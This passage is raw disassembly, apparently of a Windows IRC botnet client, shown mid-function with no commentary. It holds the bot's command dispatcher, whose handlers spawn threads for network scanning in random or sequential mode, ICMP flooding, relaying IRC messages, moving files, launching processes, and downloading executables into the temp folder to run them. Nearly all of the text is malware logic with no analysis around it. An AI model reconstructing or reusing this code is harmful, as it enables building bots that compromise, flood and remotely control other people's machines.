eax, [ebp+var_404] push eax call sub_416D40 push [ebp+var_2FC] lea eax, [ebp+var_384] mov [ebp+var_408], esi push [ebp+var_300] push eax lea eax, [ebp+var_2C8] push [ebp+var_304] push offset unk_434F40 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 0Eh push eax call sub_414F93 add esp, 48h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_408] push ebx push eax push offset sub_40A217 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_40FBBE loc_40FBAC: ; CODE XREF: sub_40CE55+2D67j cmp [ebp+var_2E8], ebx jnz short loc_40FBE8 push 32h call dword_421060 ; Sleep jmp short loc_40FBAC ; --------------------------------------------------------------------------- loc_40FBBE: ; CODE XREF: sub_40CE55+2D55j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434EF4 jmp loc_41077A ; --------------------------------------------------------------------------- loc_40FBCF: ; CODE XREF: sub_40CE55+2C7Bj push 1FFh lea eax, [ebp+var_2C8] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_416D40 loc_40FBE5: ; CODE XREF: sub_40CE55+3931j add esp, 0Ch loc_40FBE8: ; CODE XREF: sub_40CE55+2D5Dj ; sub_40CE55+2EA4j ... cmp [ebp+var_8], ebx jnz loc_41284E push ebx push [ebp+var_4] jmp loc_411F18 ; --------------------------------------------------------------------------- loc_40FBFA: ; CODE XREF: sub_40CE55+26A1j ; sub_40CE55+26B8j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_2EC], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax lea eax, [ebp+var_384] push edi push eax call sub_416D40 push [ebp+arg_18] call sub_415A5F push [ebp+arg_0] mov [ebp+var_304], eax call sub_415A5F push [ebp+arg_10] mov [ebp+var_300], eax call sub_415A5F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_2FC], eax jz short loc_40FC5F push esi call sub_415A5F pop ecx mov [ebp+var_2F8], eax jmp short loc_40FC65 ; --------------------------------------------------------------------------- loc_40FC5F: ; CODE XREF: sub_40CE55+2DF9j mov [ebp+var_2F8], ebx loc_40FC65: ; CODE XREF: sub_40CE55+2E08j push 7Fh lea eax, [ebp+var_404] push [ebp+var_8C] push eax call sub_416D40 push [ebp+var_2FC] mov esi, [ebp+arg_4] lea eax, [ebp+var_384] mov [ebp+var_408], esi push [ebp+var_300] push eax lea eax, [ebp+var_2C8] push [ebp+var_304] push offset dword_434E80 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 0Fh push eax call sub_414F93 add esp, 30h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_408] push ebx push eax push offset sub_40A3A3 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_40FD09 loc_40FCF3: ; CODE XREF: sub_40CE55+2EB2j cmp [ebp+var_2E8], ebx jnz loc_40FBE8 push 32h call dword_421060 ; Sleep jmp short loc_40FCF3 ; --------------------------------------------------------------------------- loc_40FD09: ; CODE XREF: sub_40CE55+2E9Cj call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434E34 jmp loc_41077A ; --------------------------------------------------------------------------- loc_40FD1A: ; CODE XREF: sub_40CE55+2673j ; sub_40CE55+268Aj push 8 call sub_4151DB push [ebp+arg_18] mov [ebp+arg_8], eax call sub_415A5F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 12Ch jle short loc_40FD6D push [ebp+arg_8] lea eax, [ebp+var_2C8] push offset dword_434DE0 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C loc_40FD65: ; CODE XREF: sub_40CE55+4330j add esp, 20h jmp loc_41298E ; --------------------------------------------------------------------------- loc_40FD6D: ; CODE XREF: sub_40CE55+2EE1j push edi call sub_415A5F push [ebp+arg_18] mov [ebp+var_31C], eax call sub_415A5F push [ebp+arg_0] mov [ebp+var_304], eax call sub_415A5F add esp, 0Ch cmp eax, 1 mov [ebp+var_318], eax jnb short loc_40FDA6 push 1 pop eax mov [ebp+var_318], eax loc_40FDA6: ; CODE XREF: sub_40CE55+2F46j push 3Ch pop ecx cmp eax, ecx jbe short loc_40FDB3 mov [ebp+var_318], ecx loc_40FDB3: ; CODE XREF: sub_40CE55+2F56j push [ebp+arg_10] call sub_415A5F mov [ebp+var_314], eax mov eax, 1F4h cmp [ebp+var_314], eax pop ecx jbe short loc_40FDD5 mov [ebp+var_314], eax loc_40FDD5: ; CODE XREF: sub_40CE55+2F78j or [ebp+var_300], 0FFFFFFFFh cmp dword_427338, ebx mov [ebp+arg_0], ebx jz short loc_40FE2B mov [ebp+arg_24], offset dword_427338 loc_40FDEE: ; CODE XREF: sub_40CE55+2FB8j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40FE11 add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_40FDEE jmp short loc_40FE2B ; --------------------------------------------------------------------------- loc_40FE11: ; CODE XREF: sub_40CE55+2FAAj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_427338[ecx] mov [ebp+var_31C], ecx loc_40FE2B: ; CODE XREF: sub_40CE55+2F90j ; sub_40CE55+2FBAj cmp [ebp+var_31C], ebx jz loc_411C49 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40FE72 cmp byte ptr [edi], 23h jz short loc_40FE72 push edi lea eax, [ebp+var_430] push 10h push eax call sub_415A6A push 78h push edi call sub_417080 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_2F0], eax jmp loc_40FF46 ; --------------------------------------------------------------------------- loc_40FE72: ; CODE XREF: sub_40CE55+2FEBj ; sub_40CE55+2FF0j cmp [ebp+var_9B3], bl jnz short loc_40FE94 cmp [ebp+var_9B2], bl jnz short loc_40FE94 cmp [ebp+var_9A2], bl jnz short loc_40FE94 push offset dword_434D94 jmp loc_41202C ; --------------------------------------------------------------------------- loc_40FE94: ; CODE XREF: sub_40CE55+3023j ; sub_40CE55+302Bj ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2D8] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43A33C ; getsockname mov al, [ebp+var_9B3] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2D4], eax push [ebp+var_2D4] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_416D40 add esp, 0Ch cmp [ebp+var_9A2], bl jz short loc_40FF40 xor eax, eax cmp [ebp+var_9B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_417040 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40FF34 loc_40FF12: ; CODE XREF: sub_40CE55+30DDj cmp eax, ebx jz short loc_40FF34 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_417040 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40FF12 loc_40FF34: ; CODE XREF: sub_40CE55+30BBj ; sub_40CE55+30BFj mov [ebp+var_2F0], 1 jmp short loc_40FF46 ; --------------------------------------------------------------------------- loc_40FF40: ; CODE XREF: sub_40CE55+3095j mov [ebp+var_2F0], ebx loc_40FF46: ; CODE XREF: sub_40CE55+3018j ; sub_40CE55+30E9j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_320], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] mov [ebp+var_2F4], eax mov edi, 80h lea eax, [ebp+var_420] push edi push eax call sub_415A6A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_40FF97 loc_40FF84: ; CODE XREF: sub_40CE55+3165j push esi loc_40FF85: ; CODE XREF: sub_40CE55+314Fj lea eax, [ebp+var_3A0] push edi push eax call sub_415A6A add esp, 0Ch jmp short loc_40FFC2 ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40CE55+312Dj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40FFA6 cmp byte ptr [eax], 23h jnz short loc_40FFA6 push eax jmp short loc_40FF85 ; --------------------------------------------------------------------------- loc_40FFA6: ; CODE XREF: sub_40CE55+3147j ; sub_40CE55+314Cj mov esi, offset dword_42C244 push offset byte_438FBC push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40FF84 mov [ebp+var_3A0], bl loc_40FFC2: ; CODE XREF: sub_40CE55+3140j cmp [ebp+var_2F0], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40FFD4 mov eax, offset aSequential ; "Sequential" loc_40FFD4: ; CODE XREF: sub_40CE55+3178j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2C8] push offset dword_434D08 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 8 push eax call sub_414F93 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_40799F push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_410062 loc_41004C: ; CODE XREF: sub_40CE55+320Bj cmp [ebp+var_2EC], ebx jnz loc_40F7B1 push 32h call dword_421060 ; Sleep jmp short loc_41004C ; --------------------------------------------------------------------------- loc_410062: ; CODE XREF: sub_40CE55+31F5j call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434CBC jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_410073: ; CODE XREF: sub_40CE55+2633j ; sub_40CE55+264Aj push edi call sub_415A5F imul eax, 234h pop ecx cmp byte_43F540[eax], bl jz loc_41298E cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 push [ebp+arg_18] add esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax lea eax, [ebp+var_2C8] push esi push offset dword_434CB0 push eax call sub_4154E7 add esp, 20h cmp esi, ebx jz loc_41298E push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push ebx lea eax, [ebp+var_2C8] push ebx push eax push [ebp+arg_18] push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call sub_412D4C push edi call sub_415A5F imul eax, 234h add esp, 18h cmp byte ptr dword_43F328[eax], 73h jnz loc_41298E push esi push edi call sub_415A5F imul eax, 234h pop ecx add eax, offset byte_43F540 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_41015B: ; CODE XREF: sub_40CE55+3403j lea eax, [ebp+var_2C8] push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C loc_410180: ; CODE XREF: sub_40CE55+529Fj add esp, 28h jmp loc_41298E ; --------------------------------------------------------------------------- loc_410188: ; CODE XREF: sub_40CE55+2605j ; sub_40CE55+261Cj push edi call sub_415A5F imul eax, 234h pop ecx cmp byte_43F540[eax], bl jz loc_41298E cmp [ebp+var_C], ebx jz loc_41298E push edi call sub_415CF0 push [ebp+arg_8] mov esi, eax call sub_415CF0 push [ebp+arg_18] add esi, eax call sub_415CF0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_415AC0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_41298E push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push ebx push ebx push esi push [ebp+arg_18] push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F534[eax] call sub_412D4C push edi call sub_415A5F imul eax, 234h add esp, 18h cmp byte ptr dword_43F328[eax], 73h jnz loc_41298E push esi push edi call sub_415A5F imul eax, 234h pop ecx add eax, offset byte_43F540 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_41015B ; --------------------------------------------------------------------------- loc_41025D: ; CODE XREF: sub_40CE55+25D7j ; sub_40CE55+25EEj push edi call dword_43A3D8 ; inet_addr push [ebp+arg_18] mov [ebp+var_460], eax call sub_415A5F push [ebp+arg_0] mov [ebp+var_46C], eax call sub_415A5F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_468], eax lea eax, [ebp+var_4EC] mov [ebp+var_4F0], esi push eax call sub_416D40 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_458], edi push [ebp+var_468] mov [ebp+var_454], eax push [ebp+var_46C] push [ebp+var_460] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_2C8] push offset unk_434C40 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 8 push eax call sub_414F93 add esp, 20h mov [ebp+var_464], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_414569 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_464] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_41033F loc_410329: ; CODE XREF: sub_40CE55+34E8j cmp [ebp+var_450], ebx jnz loc_411F0D push 32h call dword_421060 ; Sleep jmp short loc_410329 ; --------------------------------------------------------------------------- loc_41033F: ; CODE XREF: sub_40CE55+34D2j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434BF0 jmp loc_411EFE ; --------------------------------------------------------------------------- loc_410350: ; CODE XREF: sub_40CE55+25A9j ; sub_40CE55+25C0j push edi call sub_415A5F push 7Fh mov [ebp+var_300], eax push [ebp+arg_18] lea eax, [ebp+var_404] push eax call sub_416D40 push [ebp+arg_0] call sub_415A5F push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_304], eax lea eax, [ebp+var_384] push 80h push eax mov [ebp+var_40C], esi call sub_415A6A mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_2F0], eax push [ebp+var_304] lea eax, [ebp+var_404] mov [ebp+var_2F4], edi push eax push [ebp+var_300] push esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_434BA0 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 10h push eax call sub_414F93 add esp, 24h mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_407BFE push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_410439 loc_410423: ; CODE XREF: sub_40CE55+35E2j cmp [ebp+var_2EC], ebx jnz loc_411F0D push 32h call dword_421060 ; Sleep jmp short loc_410423 ; --------------------------------------------------------------------------- loc_410439: ; CODE XREF: sub_40CE55+35CCj call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434B4C jmp loc_411EFE ; --------------------------------------------------------------------------- loc_41044A: ; CODE XREF: sub_40CE55+257Bj ; sub_40CE55+2592j push 0FFh lea eax, [ebp+var_788] push edi push eax call sub_416D40 push 0FFh lea eax, [ebp+var_688] push [ebp+arg_18] push eax call sub_416D40 push [ebp+arg_0] mov [ebp+var_584], ebx call sub_415A5F mov [ebp+var_580], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4104A6 push 10h push ebx push eax call sub_416A89 add esp, 0Ch mov [ebp+var_578], eax jmp short loc_4104AC ; --------------------------------------------------------------------------- loc_4104A6: ; CODE XREF: sub_40CE55+363Bj mov [ebp+var_578], ebx loc_4104AC: ; CODE XREF: sub_40CE55+364Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_4104C3 push esi call sub_415A5F pop ecx mov [ebp+var_57C], eax jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104C3: ; CODE XREF: sub_40CE55+365Dj mov [ebp+var_57C], ebx loc_4104C9: ; CODE XREF: sub_40CE55+366Cj movzx eax, [ebp+var_9AF] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_574], eax lea eax, [ebp+var_808] mov [ebp+var_80C], esi push eax call sub_416D40 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_56C], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax push edi lea eax, [ebp+var_2C8] push offset unk_434B0C push eax call sub_4154E7 push esi lea eax, [ebp+var_2C8] push 15h push eax call sub_414F93 add esp, 28h mov [ebp+var_588], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_80C] push ebx push eax push offset sub_40BCEF push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_588] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_410577 loc_410561: ; CODE XREF: sub_40CE55+3720j cmp [ebp+var_568], ebx jnz loc_40FBE8 push 32h call dword_421060 ; Sleep jmp short loc_410561 ; --------------------------------------------------------------------------- loc_410577: ; CODE XREF: sub_40CE55+370Aj call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434AB8 jmp loc_41077A ; --------------------------------------------------------------------------- loc_410588: ; CODE XREF: sub_40CE55+254Dj ; sub_40CE55+2564j push 7Fh lea eax, [ebp+var_774] pop esi push esi push edi push eax call sub_416D40 push esi lea eax, [ebp+var_6F4] push [ebp+arg_18] push eax call sub_416D40 push esi lea eax, [ebp+var_674] push [ebp+arg_0] push eax call sub_416D40 push esi lea eax, [ebp+var_5F4] push [ebp+var_8C] push eax call sub_416D40 mov eax, [ebp+var_8] push [ebp+arg_0] mov esi, [ebp+var_4] mov [ebp+var_56C], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_778], eax lea eax, [ebp+var_2C8] push edi push offset dword_434A78 push eax mov [ebp+var_570], esi call sub_4154E7 add esp, 44h lea eax, [ebp+var_2C8] push ebx push 0Bh push eax call sub_414F93 add esp, 0Ch mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_778] push ebx push eax push offset sub_40182E push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_41065B loc_410649: ; CODE XREF: sub_40CE55+3804j cmp [ebp+var_568], ebx jnz short loc_410676 push 32h call dword_421060 ; Sleep jmp short loc_410649 ; --------------------------------------------------------------------------- loc_41065B: ; CODE XREF: sub_40CE55+37F2j call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C8] push offset dword_434A2C push eax call sub_4154E7 add esp, 0Ch loc_410676: ; CODE XREF: sub_40CE55+37FAj cmp [ebp+var_8], ebx jnz loc_41284E push ebx push esi jmp loc_40F7BE ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_40CE55+2508j ; sub_40CE55+251Fj ... push 7Fh lea eax, [ebp+var_7F0] pop esi push esi push edi push eax call sub_416D40 push esi lea eax, [ebp+var_770] push [ebp+arg_18] push eax call sub_416D40 push esi lea eax, [ebp+var_6F0] push [ebp+arg_0] push eax call sub_416D40 push esi lea eax, [ebp+var_670] push [ebp+var_8C] push eax call sub_416D40 push 20h lea eax, [ebp+var_5F0] push [ebp+arg_8] push eax call sub_416D40 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_56C], eax lea eax, [ebp+var_2C8] push edi push offset unk_4349E8 push eax mov [ebp+var_7F8], esi call sub_4154E7 add esp, 50h lea eax, [ebp+var_2C8] push ebx push 0Ah push eax call sub_414F93 add esp, 0Ch mov [ebp+var_7F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_401000 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_7F4] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_41076E loc_410758: ; CODE XREF: sub_40CE55+3917j cmp [ebp+var_568], ebx jnz loc_40FBE8 push 32h call dword_421060 ; Sleep jmp short loc_410758 ; --------------------------------------------------------------------------- loc_41076E: ; CODE XREF: sub_40CE55+3901j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_43499C loc_41077A: ; CODE XREF: sub_40CE55+2D75j ; sub_40CE55+2EC0j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 jmp loc_40FBE5 ; --------------------------------------------------------------------------- loc_41078B: ; CODE XREF: sub_40CE55+24DAj ; sub_40CE55+24F1j push 7Fh lea eax, [ebp+var_444] push edi push eax call sub_416D40 push [ebp+arg_18] call sub_415A5F push 3Fh mov [ebp+var_2F4], eax push [ebp+arg_0] lea eax, [ebp+var_3C4] push eax call sub_416D40 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_4107D9 push 3Fh lea eax, [ebp+var_384] push esi push eax call sub_416D40 add esp, 0Ch loc_4107D9: ; CODE XREF: sub_40CE55+3970j lea eax, [ebp+var_3C4] mov [ebp+var_2F0], 1 push eax lea eax, [ebp+var_444] push [ebp+var_2F4] push eax lea eax, [ebp+var_2C8] push offset unk_434958 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 17h push eax call sub_414F93 add esp, 20h mov [ebp+var_2EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_448] push ebx push eax push offset sub_40CB75 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2EC] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_410865 loc_41084F: ; CODE XREF: sub_40CE55+3A0Ej cmp [ebp+var_2E8], ebx jnz loc_40F713 push 32h call dword_421060 ; Sleep jmp short loc_41084F ; --------------------------------------------------------------------------- loc_410865: ; CODE XREF: sub_40CE55+39F8j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_43490C jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410876: ; CODE XREF: sub_40CE55+249Aj ; sub_40CE55+24B1j push [ebp+arg_18] call sub_415A5F cmp eax, ebx pop ecx mov [ebp+var_578], eax jle loc_410967 mov esi, 80h push edi lea eax, [ebp+var_700] push esi push eax call sub_415A6A xor eax, eax cmp [ebp+var_9A2], bl push [ebp+var_8C] setnz al mov [ebp+var_574], eax mov eax, [ebp+arg_4] mov [ebp+var_704], eax lea eax, [ebp+var_600] push esi push eax call sub_415A6A mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax push edi push offset unk_4348CC lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 0Dh push eax call sub_414F93 add esp, 38h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_704] push ebx push eax push offset sub_401447 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_410956 loc_410940: ; CODE XREF: sub_40CE55+3AFFj cmp [ebp+var_568], ebx jnz loc_40F7B1 push 32h call dword_421060 ; Sleep jmp short loc_410940 ; --------------------------------------------------------------------------- loc_410956: ; CODE XREF: sub_40CE55+3AE9j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434880 jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_410967: ; CODE XREF: sub_40CE55+3A32j push offset unk_434834 jmp loc_41202C ; --------------------------------------------------------------------------- loc_410971: ; CODE XREF: sub_40CE55+246Cj ; sub_40CE55+2483j push [ebp+arg_18] push edi call dword_421134 ; MoveFileA test eax, eax jz short loc_41099E push [ebp+arg_18] lea eax, [ebp+var_2C8] push edi push offset unk_4347FC push 200h push eax call sub_415A6A jmp loc_4111C1 ; --------------------------------------------------------------------------- loc_41099E: ; CODE XREF: sub_40CE55+3B28j push offset dword_4347DC call sub_409C08 push eax lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A add esp, 10h jmp loc_40F7B1 ; --------------------------------------------------------------------------- loc_4109C2: ; CODE XREF: sub_40CE55+243Ej ; sub_40CE55+2455j push edi lea eax, [ebp+var_77C] push 104h push eax call sub_415A6A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4109FC push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_4109FC push eax lea eax, [ebp+var_678] push eax call sub_4154E7 pop ecx pop ecx loc_4109FC: ; CODE XREF: sub_40CE55+3B85j ; sub_40CE55+3B96j push [ebp+var_8C] lea eax, [ebp+var_7FC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] mov [ebp+var_800], eax mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_678] push eax lea eax, [ebp+var_77C] push eax push offset unk_434798 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 1Bh push eax call sub_414F93 add esp, 2Ch mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_408788 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_410AAF loc_410A99: ; CODE XREF: sub_40CE55+3C58j cmp [ebp+var_568], ebx jnz loc_41284E push 32h call dword_421060 ; Sleep jmp short loc_410A99 ; --------------------------------------------------------------------------- loc_410AAF: ; CODE XREF: sub_40CE55+3C42j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434748 jmp loc_41283F ; --------------------------------------------------------------------------- loc_410AC0: ; CODE XREF: sub_40CE55+2410j ; sub_40CE55+2427j push 44h lea eax, [ebp+var_48C] pop esi push esi push ebx push eax call sub_415570 push 1 mov [ebp+var_48C], esi pop esi mov word ptr [ebp+var_45C], bx push edi mov [ebp+var_460], esi call sub_415A5F add esp, 10h cmp eax, esi jnz short loc_410AFD mov word ptr [ebp+var_45C], 5 loc_410AFD: ; CODE XREF: sub_40CE55+3C9Dj cmp [ebp+var_C], ebx jz loc_40F713 push [ebp+arg_18] push [ebp+var_C] call sub_415AC0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40F713 lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_48C] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_4210EC ; CreateProcessA test eax, eax jnz short loc_410B56 push offset unk_434710 loc_410B43: ; CODE XREF: sub_40CE55+3E85j ; sub_40CE55+4518j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40F713 ; --------------------------------------------------------------------------- loc_410B56: ; CODE XREF: sub_40CE55+3CE7j push edi push offset dword_4346E4 jmp loc_40F704 ; --------------------------------------------------------------------------- loc_410B61: ; CODE XREF: sub_40CE55+23E2j ; sub_40CE55+23F9j push [ebp+arg_18] push offset aIdspp ; "idspp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410CD5 lea eax, [ebp+var_3E8] push eax push 104h call dword_4210F8 ; GetTempPathA push 0FFh lea eax, [ebp+var_788] push edi push eax call sub_416D40 lea eax, [ebp+var_2E4] push eax call sub_414126 push eax lea eax, [ebp+var_3E8] push eax lea eax, [ebp+var_688] push offset aSS_exe ; "%s%s.exe" push eax call sub_4154E7 mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_584], 1 mov [ebp+var_580], ebx jz short loc_410BF3 push 10h push ebx push eax call sub_416A89 add esp, 0Ch mov [ebp+var_578], eax jmp short loc_410BF9 ; --------------------------------------------------------------------------- loc_410BF3: ; CODE XREF: sub_40CE55+3D88j mov [ebp+var_578], ebx loc_410BF9: ; CODE XREF: sub_40CE55+3D9Cj mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_410C13 push esi call sub_415A5F pop ecx mov [ebp+var_57C], eax jmp short loc_410C19 ; --------------------------------------------------------------------------- loc_410C13: ; CODE XREF: sub_40CE55+3DADj mov [ebp+var_57C], ebx loc_410C19: ; CODE XREF: sub_40CE55+3DBCj movzx eax, [ebp+var_9AF] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_574], eax lea eax, [ebp+var_808] mov [ebp+var_80C], esi push eax call sub_416D40 mov eax, [ebp+var_4] push edi mov [ebp+var_56C], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax lea eax, [ebp+var_2C8] push offset unk_434698 push eax call sub_4154E7 push esi lea eax, [ebp+var_2C8] push 16h push eax call sub_414F93 add esp, 24h mov [ebp+var_588], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_80C] push ebx push eax push offset sub_40BCEF push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_588] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_410CC4 loc_410CAE: ; CODE XREF: sub_40CE55+3E6Dj cmp [ebp+var_568], ebx jnz loc_40F713 push 32h call dword_421060 ; Sleep jmp short loc_410CAE ; 